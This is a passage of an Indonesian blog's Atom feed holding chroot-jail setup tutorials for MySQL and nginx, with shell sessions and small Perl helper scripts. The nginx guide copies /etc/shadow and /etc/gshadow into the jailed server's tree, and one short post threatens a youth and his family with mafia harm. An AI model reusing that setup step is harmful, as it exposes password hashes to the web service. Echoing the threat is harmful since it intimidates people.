exp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 6 Apr 22 14:24 gopher -&amp;gt; ../../&lt;br /&gt;&lt;br /&gt;~gopher/tmp:&lt;br /&gt;-rw-r--r--&amp;nbsp; 1 nobody&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 220563 Aug 12 14:46 gopher.log&lt;br /&gt;&lt;br /&gt;~gopher/usr:&lt;br /&gt;dr-xr-xr-x&amp;nbsp; 2 exp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 512 Oct 12&amp;nbsp; 1992 lib&lt;br /&gt;dr-xr-xr-x&amp;nbsp; 3 exp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 512 Jan 21&amp;nbsp; 1993 share&lt;br /&gt;&lt;br /&gt;~gopher/usr/lib:&lt;br /&gt;-r-xr-xr-x&amp;nbsp; 1 exp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 40960 Oct 11&amp;nbsp; 1990 ld.so&lt;br /&gt;-r-xr-xr-x&amp;nbsp; 1 exp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 516096 Oct 12&amp;nbsp; 1990 libc.so.1.6&lt;br /&gt;&lt;br /&gt;~gopher/usr/share:&lt;br /&gt;dr-xr-xr-x&amp;nbsp; 3 exp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 512 Jan 21&amp;nbsp; 1993 lib&lt;br /&gt;&lt;br /&gt;~gopher/usr/share/lib:&lt;br /&gt;dr-xr-xr-x&amp;nbsp; 2 exp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 512 Jan 21&amp;nbsp; 1993 zoneinfo&lt;br /&gt;&lt;br /&gt;~gopher/usr/share/lib/zoneinfo:&lt;br /&gt;-r--r--r--&amp;nbsp; 1 exp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 590 Oct 11&amp;nbsp; 1990 MET&lt;br /&gt;-r--r--r--&amp;nbsp; 1 exp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 590 Oct 11&amp;nbsp; 1990 localtime&lt;br /&gt;[root@godad chrootuid1.3]# &lt;br /&gt;====&lt;br /&gt;&lt;br /&gt;bersih kan ??? no backdoor ok ???&lt;br /&gt;&lt;br /&gt;install !!!&lt;br /&gt;&lt;br /&gt;====&lt;br /&gt;[root@godad chrootuid1.3]# make&lt;br /&gt;cc -O&amp;nbsp; -o chrootuid chrootuid.c&lt;br /&gt;[root@godad chrootuid1.3]# cp chrootuid /usr/local/sbin/chrootuid&lt;br /&gt;=====&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;====================&lt;br /&gt;[root@godad chrootuid1.3]# cat /etc/init.d/mysqld_chroot&lt;br /&gt;#!/bin/sh&lt;br /&gt;CHROOT_MYSQL=/chroot/mysql&lt;br /&gt;CHROOT_PHP=/chroot/nginx&lt;br /&gt;SOCKET=/tmp/mysql.sock&lt;br /&gt;MYSQLD=/usr/local/mysql/libexec/mysqld&lt;br /&gt;PIDFILE=/usr/local/mysql/var/`hostname`.pid&lt;br /&gt;CHROOTUID=/usr/local/sbin/chrootuid&lt;br /&gt;&lt;br /&gt;echo -n " mysql"&lt;br /&gt;&lt;br /&gt;case "$1" in&lt;br /&gt;start)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; rm -rf ${CHROOT_PHP}/${SOCKET}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; nohup ${CHROOTUID} ${CHROOT_MYSQL} mysql ${MYSQLD} &amp;gt;/dev/null 2&amp;gt;&amp;amp;1 &amp;amp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sleep 5 &amp;amp;&amp;amp; ln ${CHROOT_MYSQL}/${SOCKET} ${CHROOT_PHP}/${SOCKET}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ;;&lt;br /&gt;stop)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; kill `cat ${CHROOT_MYSQL}/${PIDFILE}`&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; rm -rf ${CHROOT_MYSQL}/${SOCKET}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ;;&lt;br /&gt;*)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; echo ""&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; echo "Usage: `basename $0` {start|stop}" &amp;gt;&amp;amp;2&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; exit 64&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ;;&lt;br /&gt;esac&lt;br /&gt;&lt;br /&gt;exit 0&lt;br /&gt;==========================&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2598104819866870995-7850496906243479321?l=myw1sd0m.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/7850496906243479321'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/7850496906243479321'/><link rel='alternate' type='text/html' href='http://myw1sd0m.blogspot.com/2012/03/instalasi-mysql-di-dalam-chroot-jail.html' title='instalasi mysql di dalam chroot jail'/><author><name>agen bola sbobet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='26' src='http://2.bp.blogspot.com/_1hrgsR8ck7k/TTCMi1eQp3I/AAAAAAAAAEY/OiIPn0TiaRk/S220/wisdom.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-2598104819866870995.post-5774656263366089039</id><published>2012-03-02T13:50:00.003-08:00</published><updated>2012-03-02T16:03:34.478-08:00</updated><title type='text'>[install nginx-1.0.11 di dalam chroot jail]</title><content type='html'>[install nginx-1.0.11 di dalam chroot jail]&lt;br /&gt;&lt;br /&gt;by: ev1lut10n&lt;br /&gt;&lt;br /&gt;download&amp;nbsp; nginx-1.0.11 &lt;br /&gt;&lt;br /&gt;install :&lt;br /&gt;&lt;br /&gt;===================&lt;br /&gt;[root@godaddy_dedicated ~]# cd&amp;nbsp; nginx-1.0.11&lt;br /&gt;[root@godaddy_dedicated nginx-1.0.11]# cd nginx-1.0.11&lt;br /&gt;[root@godaddy_dedicated nginx-1.0.11]# ./configure --with-http_ssl_module --without-mail_pop3_module --without-mail_imap_module --without-mail_smtp_module --with-http_stub_status_module&lt;br /&gt;[root@godaddy_dedicated nginx-1.0.11]# make &amp;amp;&amp;amp; make install&lt;br /&gt;=================&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;siapkan susunan direktori untuk chroot&lt;br /&gt;====&lt;br /&gt;[root@godaddy_dedicated ~ conf]# D=/chroot/nginx&lt;br /&gt;[root@godaddy_dedicated ~ conf]# mkdir -p $D&lt;br /&gt;[root@godaddy_dedicated ~ conf]# mkdir -p $D/etc&lt;br /&gt;[root@godaddy_dedicated ~ conf]# mkdir -p $D/dev&lt;br /&gt;[root@godaddy_dedicated ~ conf]# mkdir -p $D/var&lt;br /&gt;[root@godaddy_dedicated ~ conf]# mkdir -p $D/usr&lt;br /&gt;[root@godaddy_dedicated ~ conf]# mkdir -p $D/usr/local/nginx&lt;br /&gt;[root@godaddy_dedicated ~ conf]# mkdir -p $D/tmp&lt;br /&gt;[root@godaddy_dedicated ~ conf]# chmod 1777 $D/tmp&lt;br /&gt;[root@godaddy_dedicated ~ conf]# mkdir -p $D/var/tmp&lt;br /&gt;[root@godaddy_dedicated ~ conf]# chmod 1777 $D/var/tmp&lt;br /&gt;[root@godaddy_dedicated ~ conf]# mkdir -p $D/lib64&lt;br /&gt;===&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;buat blok untuk special char &amp;amp; file&lt;br /&gt;====&lt;br /&gt;[root@godaddy_dedicated ~ chroot]# ls -l /dev/{null,random,urandom}&lt;br /&gt;crw-rw-rw- 1 root root 1, 3 Mar&amp;nbsp; 1 16:42 /dev/null&lt;br /&gt;crw-rw-rw- 1 root root 1, 8 Mar&amp;nbsp; 1 16:42 /dev/random&lt;br /&gt;cr--r--r-- 1 root root 1, 9 Mar&amp;nbsp; 1 16:42 /dev/urandom&lt;br /&gt;====&lt;br /&gt;&lt;br /&gt;melihat tampilan di atas kita siapkan dg mknod:&lt;br /&gt;===========&lt;br /&gt;[root@godaddy_dedicated ~ chroot]# mknod -m 0666 $D/dev/null c 1 3&lt;br /&gt;[root@godaddy_dedicated ~ chroot]# mknod -m 0666 $D/dev/random c 1 8&lt;br /&gt;[root@godaddy_dedicated ~ chroot]# mknod -m 0444 $D/dev/urandom c 1 9&lt;br /&gt;&lt;br /&gt;========&lt;br /&gt;&lt;br /&gt;cek shared library:&lt;br /&gt;=====&lt;br /&gt;[root@godaddy_dedicated ~ chroot]# updatedb&lt;br /&gt;[root@godaddy_dedicated ~ chroot]# locate nginx&amp;nbsp; | grep bin&lt;br /&gt;/root/nginx-1.0.12/objs/src/http/ngx_http_upstream_round_robin.o&lt;br /&gt;/root/nginx-1.0.12/src/http/ngx_http_upstream_round_robin.c&lt;br /&gt;/root/nginx-1.0.12/src/http/ngx_http_upstream_round_robin.h&lt;br /&gt;/usr/local/nginx/sbin&lt;br /&gt;/usr/local/nginx/sbin/nginx&lt;br /&gt;[root@godaddy_dedicated ~ chroot]# ldd /usr/local/nginx/sbin/nginx&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; linux-vdso.so.1 =&amp;gt;&amp;nbsp; (0x00007fff297fd000)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; libpthread.so.0 =&amp;gt; /lib64/libpthread.so.0 (0x000000399f200000)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; libcrypt.so.1 =&amp;gt; /lib64/libcrypt.so.1 (0x00000039a0e00000)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; libpcre.so.0 =&amp;gt; /lib64/libpcre.so.0 (0x00000039a2600000)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; libssl.so.6 =&amp;gt; /lib64/libssl.so.6 (0x0000003750400000)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; libcrypto.so.6 =&amp;gt; /lib64/libcrypto.so.6 (0x00000039a2200000)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; libdl.so.2 =&amp;gt; /lib64/libdl.so.2 (0x000000399ee00000)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; libz.so.1 =&amp;gt; /lib64/libz.so.1 (0x000000399fa00000)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; libc.so.6 =&amp;gt; /lib64/libc.so.6 (0x000000399ea00000)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; /lib64/ld-linux-x86-64.so.2 (0x000000399e600000)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; libgssapi_krb5.so.2 =&amp;gt; /usr/lib64/libgssapi_krb5.so.2 (0x00000039a3a00000)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; libkrb5.so.3 =&amp;gt; /usr/lib64/libkrb5.so.3 (0x00000039a3600000)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; libcom_err.so.2 =&amp;gt; /lib64/libcom_err.so.2 (0x00000039a2a00000)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; libk5crypto.so.3 =&amp;gt; /usr/lib64/libk5crypto.so.3 (0x00000039a3200000)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; libkrb5support.so.0 =&amp;gt; /usr/lib64/libkrb5support.so.0 (0x00000039a2e00000)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; libkeyutils.so.1 =&amp;gt; /lib64/libkeyutils.so.1 (0x00000039a1a00000)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; libresolv.so.2 =&amp;gt; /lib64/libresolv.so.2 (0x00000039a1600000)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; libselinux.so.1 =&amp;gt; /lib64/libselinux.so.1 (0x000000399fe00000)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; libsepol.so.1 =&amp;gt; /lib64/libsepol.so.1 (0x00000039a0200000)&lt;br /&gt;[root@godaddy_dedicated ~ chroot]# &lt;br /&gt;&lt;br /&gt;===========&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;========&lt;br /&gt;[root@godaddy_dedicated ~ chroot]# cp -fv /etc/{group,prelink.cache,services,adjtime,shells,gshadow,shadow,hosts.deny,localtime,nsswitch.conf,nscd.conf,prelink.conf,protocols,hosts,passwd,ld.so.cache,ld.so.conf,resolv.conf,host.conf} $D/etc &lt;br /&gt;=====&lt;br /&gt;[root@godaddy_dedicated ~ chroot]#&amp;nbsp; cp -avr /etc/{ld.so.conf.d,prelink.conf.d} $D/etc&lt;br /&gt;==========&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;siapkan skrip utk mengkopi shared library di atas:&lt;br /&gt;====&lt;br /&gt;#!/usr/bin/perl&lt;br /&gt;#fetch_nginx_so.pl&lt;br /&gt;#made by : ev1lut10n&lt;br /&gt;open(PROSES_MYSQL, "ldd&amp;nbsp;&amp;nbsp; /usr/local/nginx/sbin/nginx | grep lib |");&lt;br /&gt;while (&amp;lt;PROSES_MYSQL&amp;gt;) &lt;br /&gt;{&lt;br /&gt;$tampilan_proses .=&amp;nbsp; $_;&lt;br /&gt;($nama_lib,$sign,$path_lib,$mem_load) = split;&lt;br /&gt;if($path_lib=~/lib/)&lt;br /&gt;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; system("cp $path_lib /chroot/nginx$path_lib");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;close(PROSES_MYSQL); &lt;br /&gt;=====&lt;br /&gt;&lt;br /&gt;====&lt;br /&gt;[root@godaddy_dedicated ~ chroot]# perl fetch_nginx_so.pl &lt;br /&gt;cp: cannot create regular file `/chroot/nginx/usr/lib64/libgssapi_krb5.so.2': No such file or directory&lt;br /&gt;cp: cannot create regular file `/chroot/nginx/usr/lib64/libkrb5.so.3': No such file or directory&lt;br /&gt;cp: cannot create regular file `/chroot/nginx/usr/lib64/libk5crypto.so.3': No such file or directory&lt;br /&gt;cp: cannot create regular file `/chroot/nginx/usr/lib64/libkrb5support.so.0': No such file or directory&lt;br /&gt;[root@godaddy_dedicated ~ chroot]# locate libgssapi_krb5.so.2&lt;br /&gt;[root@godaddy_dedicated ~ chroot]# cd /chroot/nginx/usr/&lt;br /&gt;[root@godaddy_dedicated ~ usr]# mkdir lib64&lt;br /&gt;[root@godaddy_dedicated ~ chroot]# perl&amp;nbsp; fetch_nginx_so.pl&lt;br /&gt;======&lt;br /&gt;&lt;br /&gt;kopikan ld-linux-x86-64.so.2 secara manual:&lt;br /&gt;====&lt;br /&gt;[root@godaddy_dedicated ~ chroot]# cp&amp;nbsp;&amp;nbsp; /lib64/ld-linux-x86-64.so.2&amp;nbsp;&amp;nbsp;&amp;nbsp; /chroot/nginx/lib64/&lt;br /&gt;==&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;test apakah nginx sedang berjalan:&lt;br /&gt;===[root@godaddy_dedicated ~ chroot]# telnet localhost 80&lt;br /&gt;Trying 127.0.0.1...&lt;br /&gt;Connected to localhost.secureserver.net (127.0.0.1).&lt;br /&gt;Escape character is '^]'.&lt;br /&gt;Connection closed by foreign host.&lt;br /&gt;[root@godaddy_dedicated ~ chroot]# &lt;br /&gt;===========&lt;br /&gt;&lt;br /&gt;jika terkoneksi matikan:&lt;br /&gt;====&lt;br /&gt;[root@godaddy_dedicated ~ chroot]# killall -9 nginx&lt;br /&gt;====&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;start nginx:&lt;br /&gt;=========&lt;br /&gt;/usr/sbin/chroot /chroot/nginx /usr/local/nginx/sbin/nginx&lt;br /&gt;=========&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2598104819866870995-5774656263366089039?l=myw1sd0m.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/5774656263366089039'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/5774656263366089039'/><link rel='alternate' type='text/html' href='http://myw1sd0m.blogspot.com/2012/03/install-nginx-1011-di-dalam-chroot-jail.html' title='[install nginx-1.0.11 di dalam chroot jail]'/><author><name>agen bola sbobet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='26' src='http://2.bp.blogspot.com/_1hrgsR8ck7k/TTCMi1eQp3I/AAAAAAAAAEY/OiIPn0TiaRk/S220/wisdom.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-2598104819866870995.post-8618756064952123642</id><published>2012-03-02T09:33:00.001-08:00</published><updated>2012-03-02T09:33:14.648-08:00</updated><title type='text'>fetch_nginx_so.pl</title><content type='html'>#!/usr/bin/perl&lt;br /&gt;#fetch_nginx_so.pl&lt;br /&gt;#made by : ev1lut10n&lt;br /&gt;open(PROSES_MYSQL, "ldd&amp;nbsp;&amp;nbsp; /usr/local/sbin/nginx | grep lib |"); &lt;br /&gt;while (&amp;lt;PROSES_MYSQL&amp;gt;)&amp;nbsp; &lt;br /&gt;{ &lt;br /&gt;$tampilan_proses .=&amp;nbsp; $_;&lt;br /&gt;($nama_lib,$sign,$path_lib,$mem_load) = split;&lt;br /&gt;if($path_lib=~/lib/)&lt;br /&gt;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; system ("cp $path_lib /chroot/nginx$path_lib");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;close(PROSES_MYSQL);&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2598104819866870995-8618756064952123642?l=myw1sd0m.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/8618756064952123642'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/8618756064952123642'/><link rel='alternate' type='text/html' href='http://myw1sd0m.blogspot.com/2012/03/fetchnginxsopl.html' title='fetch_nginx_so.pl'/><author><name>agen bola sbobet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='26' src='http://2.bp.blogspot.com/_1hrgsR8ck7k/TTCMi1eQp3I/AAAAAAAAAEY/OiIPn0TiaRk/S220/wisdom.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-2598104819866870995.post-7571322919918584463</id><published>2012-03-01T22:52:00.002-08:00</published><updated>2012-03-01T22:52:42.555-08:00</updated><title type='text'>heh bocah ingusan</title><content type='html'>maen2 ma mafia suatu saat bisa celaka, ampe keluarganya bisa satu2 bisa celaka ni anak&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2598104819866870995-7571322919918584463?l=myw1sd0m.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/7571322919918584463'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/7571322919918584463'/><link rel='alternate' type='text/html' href='http://myw1sd0m.blogspot.com/2012/03/heh-bocah-ingusan.html' title='heh bocah ingusan'/><author><name>agen bola sbobet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='26' src='http://2.bp.blogspot.com/_1hrgsR8ck7k/TTCMi1eQp3I/AAAAAAAAAEY/OiIPn0TiaRk/S220/wisdom.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-2598104819866870995.post-7159626434745629188</id><published>2012-02-29T15:13:00.001-08:00</published><updated>2012-02-29T15:18:10.187-08:00</updated><title type='text'>getnamedautoresolve.pl</title><content type='html'>#/usr/bin/perl -W&lt;br /&gt;#made by: ev1lut10n&lt;br /&gt;#a simple tool for sysadmin to autoresolve all domains on his server&lt;br /&gt;use Socket;&lt;br /&gt;&lt;br /&gt;sub getdomains()&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;system("rm -f domain_lists.txt");&lt;br /&gt;open(PROSES_MYSQL, "ls /var/named |");&lt;br /&gt;while (&amp;lt;PROSES_MYSQL&amp;gt;)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $tampilan_proses =&amp;nbsp; $_;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $tampilan_proses=str_replace('.db','', $tampilan_proses);&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $p=length($tampilan_proses);&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; if($p&amp;gt;5)&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; system("echo&amp;nbsp; '$tampilan_proses'&amp;gt;&amp;gt; domain_lists.txt");&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;close(PROSES_MYSQL);&lt;br /&gt;&amp;nbsp; &lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;sub autoresolve()&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;open(PASSWORD, "&amp;lt;domain_lists.txt");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; my(@lines2) = &amp;lt;PASSWORD&amp;gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; @lines2 = sort(@lines2);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; my($pass);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; foreach $pass (@lines2)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; print $pass;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; chomp($pass);&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $p=length($pass);&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; if($p&amp;gt;5)&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; eval { $address = inet_ntoa(inet_aton($pass)); };&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; print $pass." resolved as : ".$address."\n";&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; close(PASSWORD);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br 